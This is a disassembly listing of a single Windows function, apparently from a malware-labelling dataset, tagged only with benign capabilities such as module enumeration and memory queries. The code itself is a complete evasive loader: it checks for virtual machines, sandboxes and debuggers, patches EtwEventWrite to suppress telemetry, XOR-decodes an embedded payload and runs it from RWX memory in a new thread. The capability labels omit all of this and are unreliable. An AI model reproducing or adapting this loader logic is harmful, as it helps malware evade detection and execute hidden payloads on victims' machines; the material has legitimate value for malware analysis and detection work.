Function at 0x1400014ff
Capabilities:
Enumerate process modules
Get memory capacity
Get system information on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x3958
call fcn.1400035c0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140002610
lea rax, [rbp + 0x3840]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x3860]
mov dword [rbp + 0x38c0], eax
cmp dword [rbp + 0x38c0], 0
jne 0x14000154f
mov eax, 1
jmp 0x140001c6b
mov dword [rbp + 0x3800], 0x40
lea rax, [rbp + 0x3800]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp + 0x3808]
shr rax, 0x14
mov dword [rbp + 0x38bc], eax
cmp dword [rbp + 0x38bc], 0x3ff
ja 0x140001593
mov eax, 1
jmp 0x140001c6b
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x38b0], rax
mov rax, qword [rbp + 0x38b0]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x37dc]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x18
lea rdx, [rbp + 0x37e0]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x70000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov rax, qword [rbp + 0x37e0]
mov edx, dword [rbp + 0x37ec]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x37f0]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x37f4]
mov edx, edx
imul rax, rdx
lea rdx, [rax + 0x3fffffff]
test rax, rax
cmovs rax, rdx
sar rax, 0x1e
mov dword [rbp + 0x38ac], eax
cmp dword [rbp + 0x38ac], 0x31
ja 0x14000167a
mov eax, 1
jmp 0x140001c6b
lea rax, [rbp + 0x3580]
mov rdx, rax
lea rax, str.C:WindowsSystem32VBox.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileW]
call rax
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x1400016ac
mov eax, 1
jmp 0x140001c6b
lea rax, [rbp + 0x3578]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, 0
lea rax, str.SYSTEMControlSet001ServicesVBoxSF
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
call rax
test eax, eax
sete al
test al, al
je 0x1400016f1
mov eax, 1
jmp 0x140001c6b
lea rax, [rbp + 0x3360]
mov r8d, 0x105
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
lea rax, [rbp + 0x3360]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CharUpperW]
call rax
lea rax, [rbp + 0x3360]
lea rdx, str.malware.exe
mov rcx, rax
call sub.msvcrt.dll_wcsstr
test rax, rax
sete al
test al, al
je 0x14000174c
mov eax, 1
jmp 0x140001c6b
lea rdx, [rbp + 0x235c]
lea rax, [rbp + 0x2360]
mov r8, rdx
mov edx, 0x1000
mov rcx, rax
call sub.KERNEL32.dll_K32EnumProcesses
mov dword [rbp + 0x38cc], 0
jmp 0x1400018d3
mov eax, dword [rbp + 0x38cc]
cdqe
mov eax, dword [rbp + rax*4 + 0x2360]
mov r8d, eax
mov edx, 0
mov ecx, 0x410
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x3880], rax
cmp qword [rbp + 0x3880], 0
je 0x1400018cb
lea rcx, [rbp + 0x21f4]
lea rdx, [rbp + 0x1f0]
mov rax, qword [rbp + 0x3880]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
call sub.KERNEL32.dll_K32EnumProcessModules
mov dword [rbp + 0x387c], eax
mov dword [rbp + 0x38c8], 0
jmp 0x1400018ab
mov eax, dword [rbp + 0x38c8]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1f0]
lea rcx, [rbp - 0x20]
mov rax, qword [rbp + 0x3880]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sub.KERNEL32.dll_K32GetModuleFileNameExW
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CharUpperW]
call rax
lea rax, [rbp - 0x20]
lea rdx, str.DBGHELP.DLL
mov rcx, rax
call sub.msvcrt.dll_wcsstr
test rax, rax
jne 0x14000188a
lea rax, [rbp - 0x20]
lea rdx, str.SBIE.DLL
mov rcx, rax
call sub.msvcrt.dll_wcsstr
test rax, rax
jne 0x14000188a
lea rax, [rbp - 0x20]
lea rdx, str.Api_log.DLL
mov rcx, rax
call sub.msvcrt.dll_wcsstr
test rax, rax
jne 0x14000188a
lea rax, [rbp - 0x20]
lea rdx, str.Dir_watch.DLL
mov rcx, rax
call sub.msvcrt.dll_wcsstr
test rax, rax
je 0x140001891
mov eax, 1
jmp 0x140001896
mov eax, 0
test al, al
je 0x1400018a4
mov eax, 1
jmp 0x140001c6b
add dword [rbp + 0x38c8], 1
mov eax, dword [rbp + 0x38c8]
movsxd rdx, eax
mov eax, dword [rbp + 0x21f4]
mov eax, eax
shr rax, 3
cmp rdx, rax
jb 0x1400017ee
jmp 0x1400018cc
nop
add dword [rbp + 0x38cc], 1
mov eax, dword [rbp + 0x38cc]
movsxd rdx, eax
mov eax, dword [rbp + 0x235c]
mov eax, eax
shr rax, 2
cmp rdx, rax
jb 0x140001779
lea rax, [0x140001450]
mov qword [rbp + 0x38a0], rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov dword [rbp + 0x389c], eax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov dword [rbp + 0x3898], eax
cmp dword [rbp + 0x389c], 0x3e7
jg 0x140001949
cmp dword [rbp + 0x3898], 0x3e7
jg 0x140001949
mov eax, 1
jmp 0x140001c6b
mov ecx, 0x50
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov dword [rbp + 0x3894], eax
mov byte [rbp + 0x235b], 0
lea rdx, [rbp + 0x235b]
mov rax, qword [rbp + 0x38a0]
mov r9, rdx
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_EnumDisplayMonitors]
call rax
movzx eax, byte [rbp + 0x235b]
test al, al
je 0x1400019a0
mov eax, 1
jmp 0x140001c6b
mov dword [rbp + 0x2354], 0
mov qword [rbp + 0x2348], 4
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp + 0x3888], rax
movabs rax, 0x746e657645777445
mov qword [rbp + 0x233a], rax
movabs rax, 0x6574697257746e
mov qword [rbp + 0x2340], rax
mov dword [rbp + 0x2334], 0x6c64746e
mov word [rbp + 0x2338], 0x6c
lea rax, [rbp + 0x2334]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x233a]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2328], rax
lea r8, [rbp + 0x2348]
lea rdx, [rbp + 0x2328]
mov rax, qword [rbp + 0x3888]
lea rcx, [rbp + 0x2354]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call fcn.14000250a
mov rax, qword [rbp + 0x2328]
mov r8d, 4
lea rdx, [0x140005130]
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov r9d, dword [rbp + 0x2354]
lea r8, [rbp + 0x2348]
lea rdx, [rbp + 0x2328]
mov rax, qword [rbp + 0x3888]
lea rcx, [rbp + 0x2354]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000250a
mov rcx, qword [rbp + 0x2348]
mov rdx, qword [rbp + 0x2328]
mov rax, qword [rbp + 0x3888]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call rax
lea rax, [rbp + 0x2210]
lea rdx, [0x140005138]
mov ecx, 0x22
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x38c4], 0
jmp 0x140001b3b
mov eax, dword [rbp + 0x38c4]
cdqe
lea rdx, [rbp + 0x2210]
add rax, rdx
movzx edx, byte [rax]
mov eax, dword [rbp + 0x38c4]
cdqe
lea rcx, [rbp + 0x2210]
add rax, rcx
xor edx, 0x41
mov byte [rax], dl
add dword [rbp + 0x38c4], 1
mov eax, dword [rbp + 0x38c4]
cdqe
cmp rax, 0x114
jbe 0x140001b08
mov qword [rbp + 0x2200], 0x115
mov qword [rbp + 0x2208], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x2200]
lea rax, [rbp + 0x2208]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
mov r9, rdx
mov r8d, 0
mov rdx, rax
call fcn.14000237a
mov rbx, qword [rbp + 0x2208]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
lea rdx, [rbp + 0x2210]
mov qword [rsp + 0x20], 0
mov r9d, 0x115
mov r8, rdx
mov rdx, rbx
mov rcx, rax
call fcn.1400023ca
mov rsi, qword [rbp + 0x2208]
mov rbx, qword [rbp + 0x2208]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rdx, rax
lea rax, [rbp + 0x21f8]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rbx
mov r9, rdx
mov r8d, 0
mov edx, 0x20000000
mov rcx, rax
call fcn.14000241a
mov rax, qword [rbp + 0x21f8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call fcn.14000246a
mov rax, qword [rbp + 0x21f8]
mov rcx, rax
call fcn.1400024ba
mov eax, 0
add rsp, 0x3958
pop rbx
pop rsi
pop rdi
pop rbp
ret